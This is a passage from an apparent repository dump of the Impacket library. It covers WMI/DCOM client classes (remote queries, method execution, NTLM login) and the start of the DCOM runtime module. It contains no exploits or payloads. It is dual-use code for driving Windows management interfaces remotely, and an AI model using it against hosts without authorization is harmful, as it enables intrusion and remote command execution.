b''\n            instanceType['NdTable_ValueTable'] = b''\n            instanceType['InstanceQualifierSet'] = b''\n            instanceType['InstanceHeap'] = b''\n            instanceType['EncodingLength'] = len(instanceType)\n            instanceType['CurrentClass'] = methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData()\n            outParams['InstanceType'] = instanceType.getData()\n\n\n            encodingUnit['ObjectBlock'] = outParams\n            encodingUnit['ObjectEncodingLength'] = len(outParams)\n\n            objRefCustom = OBJREF_CUSTOM()\n            objRefCustom['iid'] = self._iid\n            objRefCustom['clsid'] = CLSID_WbemClassObject\n            objRefCustom['cbExtension'] = 0\n            objRefCustom['ObjectReferenceSize'] = len(encodingUnit)\n            objRefCustom['pObjectData'] = encodingUnit\n            try:\n                return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn )\n                #return self.__iWbemServices.ExecMethod('Win32_Process.Handle=\"436\"', methodDefinition['name'],\n                #                                       pInParams=objRefCustomIn).getObject().ctCurrent['properties']\n            except Exception as e:\n                if LOG.level == logging.DEBUG:\n                    import traceback\n                    traceback.print_exc()\n                LOG.error(str(e))\n\n        for methodName in methods:\n           innerMethod.__name__ = methodName\n           setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]])\n        #methods = self.encodingUnit['ObjectBlock']\n \n\nclass IWbemLoginClientID(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemLoginClientID\n\n    def SetClientInfo(self, wszClientMachine, lClientProcId = 1234):\n        request = IWbemLoginClientID_SetClientInfo()\n        request['wszClientMachine'] = checkNullString(wszClientMachine)\n        request['lClientProcId'] = lClientProcId\n        request['lReserved'] = 0\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp\n\nclass IWbemLoginHelper(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemLoginHelper\n\n    def SetEvent(self, sEventToSet):\n        request = IWbemLoginHelper_SetEvent()\n        request['sEventToSet'] = sEventToSet\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n\nclass IWbemWCOSmartEnum(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemWCOSmartEnum\n\n    def Next(self, proxyGUID, lTimeout, uCount):\n        request = IWbemWCOSmartEnum_Next()\n        request['proxyGUID'] = proxyGUID\n        request['lTimeout'] = lTimeout\n        request['uCount'] = uCount\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IWbemFetchSmartEnum(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemFetchSmartEnum\n\n    def GetSmartEnum(self, lTimeout):\n        request = IWbemFetchSmartEnum_GetSmartEnum()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IWbemCallResult(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemCallResult\n\n    def GetResultObject(self, lTimeout):\n        request = IWbemCallResult_GetResultObject()\n        request['lTimeout'] = lTimeout\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetResultString(self, lTimeout):\n        request = IWbemCallResult_GetResultString()\n        request['lTimeout'] = lTimeout\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetResultServices(self, lTimeout):\n        request = IWbemCallResult_GetResultServices()\n        request['lTimeout'] = lTimeout\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def GetCallStatus(self, lTimeout):\n        request = IWbemCallResult_GetCallStatus()\n        request['lTimeout'] = lTimeout\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp['plStatus']\n\nclass IEnumWbemClassObject(IRemUnknown):\n    def __init__(self, interface, iWbemServices = None):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IEnumWbemClassObject\n        self.__iWbemServices = iWbemServices\n\n    def Reset(self):\n        request = IEnumWbemClassObject_Reset()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def Next(self, lTimeout, uCount):\n        request = IEnumWbemClassObject_Next()\n        request['lTimeout'] = lTimeout\n        request['uCount'] = uCount\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        interfaces = list()\n        for interface in resp['apObjects']:\n            interfaces.append(IWbemClassObject(\n                INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(),\n                          oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices))\n\n        return interfaces\n\n    def NextAsync(self, lTimeout, pSink):\n        request = IEnumWbemClassObject_NextAsync()\n        request['lTimeout'] = lTimeout\n        request['pSink'] = pSink\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def Clone(self):\n        request = IEnumWbemClassObject_Clone()\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def Skip(self, lTimeout, uCount):\n        request = IEnumWbemClassObject_Skip()\n        request['lTimeout'] = lTimeout\n        request['uCount'] = uCount\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IWbemServices(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemServices\n\n    def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL):\n        request = IWbemServices_OpenNamespace()\n        request['strNamespace']['asData'] = strNamespace\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def CancelAsyncCall(self,IWbemObjectSink ):\n        request = IWbemServices_CancelAsyncCall()\n        request['IWbemObjectSink'] = IWbemObjectSink\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp['ErrorCode']\n\n    def QueryObjectSink(self):\n        request = IWbemServices_QueryObjectSink()\n        request['lFlags'] = 0\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(),\n                         target=self.get_target())\n\n    def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL):\n        request = IWbemServices_GetObject()\n        request['strObjectPath']['asData'] = strObjectPath\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        ppObject = IWbemClassObject(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),\n                      oxid=self.get_oxid(), target=self.get_target()), self)\n        if resp['ppCallResult'] != NULL:\n            ppcallResult = IWbemCallResult(\n                INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(),\n                          target=self.get_target()))\n        else:\n            ppcallResult = NULL\n        return ppObject, ppcallResult\n\n    def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL):\n        request = IWbemServices_GetObjectAsync()\n        request['strObjectPath']['asData'] = checkNullString(strNamespace)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def PutClass(self, pObject, lFlags=0, pCtx=NULL):\n        request = IWbemServices_PutClass()\n        if pObject is NULL:\n            request['pObject'] = pObject\n        else:\n            request['pObject']['ulCntData'] = len(pObject)\n            request['pObject']['abData'] = list(pObject.getData())\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemCallResult(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n    def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL):\n        request = IWbemServices_PutClassAsync()\n        if pObject is NULL:\n            request['pObject'] = pObject\n        else:\n            request['pObject']['ulCntData'] = len(pObject)\n            request['pObject']['abData'] = list(pObject.getData())\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def DeleteClass(self, strClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_DeleteClass()\n        request['strClass']['asData'] = checkNullString(strClass)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemCallResult(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n    def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_DeleteClassAsync()\n        request['strClass']['asData'] = checkNullString(strClass)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_CreateClassEnum()\n        request['strSuperClass']['asData'] = checkNullString(strSuperClass)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_CreateClassEnumAsync()\n        request['strSuperClass']['asData'] = checkNullString(strSuperClass)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def PutInstance(self, pInst, lFlags=0, pCtx=NULL):\n        request = IWbemServices_PutInstance()\n\n        if pInst is NULL:\n            request['pInst'] = pInst\n        else:\n            request['pInst']['ulCntData'] = len(pInst)\n            request['pInst']['abData'] = list(pInst.getData())\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemCallResult(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n    def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL):\n        request = IWbemServices_PutInstanceAsync()\n        request['pInst'] = pInst\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL):\n        request = IWbemServices_DeleteInstance()\n        request['strObjectPath']['asData'] = checkNullString(strObjectPath)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemCallResult(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n    def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL):\n        request = IWbemServices_DeleteInstanceAsync()\n        request['strObjectPath']['asData'] = checkNullString(strObjectPath)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_CreateInstanceEnum()\n        request['strSuperClass']['asData'] = strSuperClass\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return IEnumWbemClassObject(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n    def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL):\n        request = IWbemServices_CreateInstanceEnumAsync()\n        request['strSuperClass']['asData'] = checkNullString(strSuperClass)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def ExecQuery(self, strQuery, lFlags=0, pCtx=NULL):\n        request = IWbemServices_ExecQuery()\n        request['strQueryLanguage']['asData'] = checkNullString('WQL')\n        request['strQuery']['asData'] = checkNullString(strQuery)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IEnumWbemClassObject(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()), self)\n\n    def ExecQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):\n        request = IWbemServices_ExecQueryAsync()\n        request['strQueryLanguage']['asData'] = checkNullString('WQL')\n        request['strQuery']['asData'] = checkNullString(strQuery)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def ExecNotificationQuery(self, strQuery, lFlags=0, pCtx=NULL):\n        request = IWbemServices_ExecNotificationQuery()\n        request['strQueryLanguage']['asData'] = checkNullString('WQL')\n        request['strQuery']['asData'] = checkNullString(strQuery)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IEnumWbemClassObject(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()), self)\n\n    def ExecNotificationQueryAsync(self, strQuery, lFlags=0, pCtx=NULL):\n        request = IWbemServices_ExecNotificationQueryAsync()\n        request['strQueryLanguage']['asData'] = checkNullString('WQL')\n        request['strQuery']['asData'] = checkNullString(strQuery)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\n    def ExecMethod(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL, ppOutParams=NULL):\n        request = IWbemServices_ExecMethod()\n        request['strObjectPath']['asData'] = checkNullString(strObjectPath)\n        request['strMethodName']['asData'] = checkNullString(strMethodName)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        if pInParams is NULL:\n            request['pInParams'] = pInParams\n        else:\n            request['pInParams']['ulCntData'] = len(pInParams)\n            request['pInParams']['abData'] = list(pInParams.getData())\n\n        request.fields['ppCallResult'] = NULL\n        if ppOutParams is NULL:\n            request.fields['ppOutParams'].fields['Data'] = NULL\n        else:\n            request['ppOutParams']['ulCntData'] = len(ppOutParams.getData())\n            request['ppOutParams']['abData'] = list(ppOutParams.getData())\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemClassObject(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppOutParams']['abData']), self.get_ipidRemUnknown(),\n                      oxid=self.get_oxid(), target=self.get_target()))\n\n    def ExecMethodAsync(self, strObjectPath, strMethodName, lFlags=0, pCtx=NULL, pInParams=NULL):\n        request = IWbemServices_ExecMethodAsync()\n        request['strObjectPath']['asData'] = checkNullString(strObjectPath)\n        request['strMethodName']['asData'] = checkNullString(strMethodName)\n        request['lFlags'] = lFlags\n        request['pCtx'] = pCtx\n        request['pInParams'] = pInParams\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        resp.dump()\n        return resp\n\nclass IWbemLevel1Login(IRemUnknown):\n    def __init__(self, interface):\n        IRemUnknown.__init__(self,interface)\n        self._iid = IID_IWbemLevel1Login\n\n    def EstablishPosition(self):\n        request = IWbemLevel1Login_EstablishPosition()\n        request['reserved1'] = NULL\n        request['reserved2'] = 0\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp['LocaleVersion']\n\n    def RequestChallenge(self):\n        request = IWbemLevel1Login_RequestChallenge()\n        request['reserved1'] = NULL\n        request['reserved2'] = NULL\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp['reserved3']\n\n    def WBEMLogin(self):\n        request = IWbemLevel1Login_WBEMLogin()\n        request['reserved1'] = NULL\n        request['reserved2'] = NULL\n        request['reserved3'] = 0\n        request['reserved4'] = NULL\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return resp['reserved5']\n\n    def NTLMLogin(self, wszNetworkResource, wszPreferredLocale, pCtx):\n        request = IWbemLevel1Login_NTLMLogin()\n        request['wszNetworkResource'] = checkNullString(wszNetworkResource)\n        request['wszPreferredLocale'] = checkNullString(wszPreferredLocale)\n        request['lFlags'] = 0\n        request['pCtx'] = pCtx\n        resp = self.request(request, iid = self._iid, uuid = self.get_iPid())\n        return IWbemServices(\n            INTERFACE(self.get_cinstance(), b''.join(resp['ppNamespace']['abData']), self.get_ipidRemUnknown(),\n                      target=self.get_target()))\n\n\nif __name__ == '__main__':\n    # Example 1\n    baseClass = b'xV4\\x12\\xd0\\x00\\x00\\x00\\x05\\x00DPRAVAT-DEV\\x00\\x00ROOT\\x00\\x1d\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff<\\x00\\x00\\x80\\x00Base\\x00\\x00Id\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x004\\x00\\x00\\x00\\x01\\x00\\x00\\x80\\x13\\x0b\\x00\\x00\\x00\\xff\\xff\\x00sint32\\x00\\x0c\\x00\\x00\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x80\\x00\\x80\\x13\\x0b\\x00\\x00\\x00\\xff\\xff\\x00sint32\\x00'\n\n    #encodingUnit = ENCODING_UNIT(baseClass)\n    #encodingUnit.dump()\n    #encodingUnit['ObjectBlock'].printInformation()\n    #print \"LEN \", len(baseClass), len(encodingUnit)\n\n    #myClass = b\"xV4\\x12.\\x02\\x00\\x00\\x05\\x00DPRAVAT-DEV\\x00\\x00ROOT\\x00f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x05\\xff\\xff\\xff\\xff<\\x00\\x00\\x80\\x00Base\\x00\\x00Id\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x004\\x00\\x00\\x00\\x01\\x00\\x00\\x80\\x13\\x0b\\x00\\x00\\x00\\xff\\xff\\x00sint32\\x00\\x0c\\x00\\x00\\x00\\x00\\x004\\x00\\x00\\x00\\x00\\x80v\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x00Base\\x00\\x06\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x04\\x00\\x00\\x00'\\x00\\x00\\x00.\\x00\\x00\\x00U\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x99\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\xc7\\x00\\x00\\x00\\xcb\\x00\\x00\\x00G\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xfd\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x11\\x01\\x00\\x80\\x00MyClass\\x00\\x00Description\\x00\\x00MyClass Example\\x00\\x00Array\\x00\\x13 \\x00\\x00\\x03\\x00\\x0c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00M\\x00\\x00\\x00\\x00uint32\\x00\\x00Data1\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00\\x91\\x00\\x00\\x00\\x03\\x00\\x00\\x80\\x00\\x0b\\x00\\x00\\x00\\xff\\xff\\x04\\x00\\x00\\x80\\x00\\x0b\\x00\\x00\\x00\\xff\\xff\\x00string\\x00\\x00Data2\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00\\xbf\\x00\\x00\\x00\\x00string\\x00\\x00Id\\x00\\x03@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\n\\x00\\x00\\x80#\\x08\\x00\\x00\\x00\\xf5\\x00\\x00\\x00\\x01\\x00\\x00\\x803\\x0b\\x00\\x00\\x00\\xff\\xff\\x00sint32\\x00\\x00defaultValue\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00s\\x00\\x00\\x00\\x802\\x00\\x00defaultValue\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\"\n    #hexdump(myClass)\n    #encodingUnit = ENCODING_UNIT(myClass)\n    #print \"LEN \", len(myClass), len(encodingUnit)\n    #encodingUnit.dump()\n    #encodingUnit['ObjectBlock'].printInformation()\n\n    #instanceMyClass = b\"xV4\\x12\\xd3\\x01\\x00\\x00\\x06\\x00DPRAVAT-DEV\\x00\\x00ROOT\\x00v\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x00Base\\x00\\x06\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x04\\x00\\x00\\x00'\\x00\\x00\\x00.\\x00\\x00\\x00U\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x99\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\xc7\\x00\\x00\\x00\\xcb\\x00\\x00\\x00G\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xfd\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x11\\x01\\x00\\x80\\x00MyClass\\x00\\x00Description\\x00\\x00MyClass Example\\x00\\x00Array\\x00\\x13 \\x00\\x00\\x03\\x00\\x0c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00M\\x00\\x00\\x00\\x00uint32\\x00\\x00Data1\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00\\x91\\x00\\x00\\x00\\x03\\x00\\x00\\x80\\x00\\x0b\\x00\\x00\\x00\\xff\\xff\\x04\\x00\\x00\\x80\\x00\\x0b\\x00\\x00\\x00\\xff\\xff\\x00string\\x00\\x00Data2\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\n\\x00\\x00\\x80\\x03\\x08\\x00\\x00\\x00\\xbf\\x00\\x00\\x00\\x00string\\x00\\x00Id\\x00\\x03@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\n\\x00\\x00\\x80#\\x08\\x00\\x00\\x00\\xf5\\x00\\x00\\x00\\x01\\x00\\x00\\x803\\x0b\\x00\\x00\\x00\\xff\\xff\\x00sint32\\x00\\x00defaultValue\\x00\\x00\\x00\\x00\\x00\\x00\\x00I\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 {\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01&\\x00\\x00\\x80\\x00MyClass\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00StringField\\x00\"\n    #encodingUnit = ENCODING_UNIT(instanceMyClass)\n    #encodingUnit.dump()\n    #encodingUnit['ObjectBlock'].printInformation()\n"
  },
  {
    "path": "impacket/dcerpc/v5/dcomrt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-DCOM] Interface implementation\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# ToDo:\n#   [X] Use the same DCE connection for all the calls. Right now is connecting to the remote machine\n#       for each call, making it slower.\n#   [X] Implement a ping mechanism, otherwise the garbage collector at the server shuts down the objects if\n#       not used, returning RPC_E_DISCONNECTED\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport socket\nfrom struct import pack\nfrom threading import Timer, current_thread\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA\nfrom impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \\\n    UUID, WIDESTR, NULL\nfrom impacket import hresult_errors, LOG\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin, generate\nfrom impacket.dcerpc.v5.rpcrt import TypeSerialization1, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_NONE, \\\n    RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT, DCERPCException\nfrom impacket.dcerpc.v5 import transport\n\nCLSID_ActivationContextInfo   = string_to_bin('000001a5-0000-0000-c000-000000000046')\nCLSID_ActivationPropertiesIn  = string_to_bin('00000338-0000-0000-c000-000000000046')\nCLSID_ActivationPropertiesOut = string_to_bin('00000339-0000-0000-c000-000000000046')\nCLSID_CONTEXT_EXTENSION       = string_to_bin('00000334-0000-0000-c000-000000000046')\nCLSID_ContextMarshaler        = string_to_bin('0000033b-0000-0000-c000-000000000046')\nCLSID_ERROR_EXTENSION         = string_to_bin('0000031c-0000-0000-c000-000000000046')\nCLSID_ErrorObject             = string_to_bin('0000031b-0000-0000-c000-000000000046')\nCLSID_InstanceInfo            = string_to_bin('000001ad-0000-0000-c000-000000000046')\nCLSID_InstantiationInfo       = string_to_bin('000001ab-0000-0000-c000-000000000046')\nCLSID_PropsOutInfo            = string_to_bin('00000339-0000-0000-c000-000000000046')\nCLSID_ScmReplyInfo            = string_to_bin('000001b6-0000-0000-c000-000000000046')\nCLSID_ScmRequestInfo          = string_to_bin('000001aa-0000-0000-c000-000000000046')\nCLSID_SecurityInfo            = string_to_bin('000001a6-0000-0000-c000-000000000046')\nCLSID_ServerLocationInfo      = string_to_bin('000001a4-0000-0000-c000-000000000046')\nCLSID_SpecialSystemProperties = string_to_bin('000001b9-0000-0000-c000-000000000046')\nIID_IActivation               = uuidtup_to_bin(('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57','0.0'))\nIID_IActivationPropertiesIn   = uuidtup_to_bin(('000001A2-0000-0000-C000-000000000046','0.0'))\nIID_IActivationPropertiesOut  = uuidtup_to_bin(('000001A3-0000-0000-C000-000000000046','0.0'))\nIID_IContext                  = uuidtup_to_bin(('000001c0-0000-0000-C000-000000000046','0.0'))\nIID_IObjectExporter           = uuidtup_to_bin(('99fcfec4-5260-101b-bbcb-00aa0021347a','0.0'))\nIID_IRemoteSCMActivator       = uuidtup_to_bin(('000001A0-0000-0000-C000-000000000046','0.0'))\nIID_IRemUnknown               = uuidtup_to_bin(('00000131-0000-0000-C000-000000000046','0.0'))\nIID_IRemUnknown2              = uuidtup_to_bin(('00000143-0000-0000-C000-000000000046','0.0'))\nIID_IUnknown                  = 